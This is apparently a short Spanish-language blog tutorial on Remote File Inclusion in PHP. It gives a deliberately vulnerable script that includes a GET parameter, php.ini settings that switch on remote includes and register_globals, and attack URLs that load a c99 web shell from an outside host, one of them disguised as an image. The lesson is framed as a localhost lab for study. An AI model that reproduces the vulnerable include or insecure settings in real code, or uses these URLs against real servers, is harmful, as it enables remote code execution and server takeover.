Creamos un archivo llamado rfi.php con este codigo:
<?php
$archivo = $_GET['secc'];
include($archivo);
?>
La variable vulnerable es $_GET['secc']
Para probar en localhost hacemos esto:
Hay que tener en ON estas funciones en el archivo php.ini:
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = On
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = On
; Whether or not to register the EGPCS variables as global variables. You may
; want to turn this off if you don't want to clutter your scripts' global scope
; with user data. This makes most sense when coupled with track_vars - in which
; case you can access all of the GPC variables through the $HTTP_*_VARS[],
; variables.
;
; You should do your best to write your scripts so that they do not require
; register_globals to be on; Using form variables as globals can easily lead
; to possible security problems, if the code is not very well thought of.
register_globals = On
Reiniciar la computadora para que los cambios surjan efecto.
Podemos vulnerarlo asi:
http://localhost/rfi.php?secc=http://www.1earn.net/LAB/code/
webshell/c99.txt?
Tambien con una imagen:
http://localhost/rfi.php?secc=http://www.1earn.net/LAB/code/webshell/c99.gif?
Esto seria lo basico de un RFI, hoy en dia se encuentran muy pocas este tipo de vulnerabilidades por ultimas versiones recientes en los servidores.
Fuente:
http://blogsinformatica.serveblog.net:8080/articulo.php?id=464646621
blogsinformatica.serveblog.net:8080/4lC0nR2/






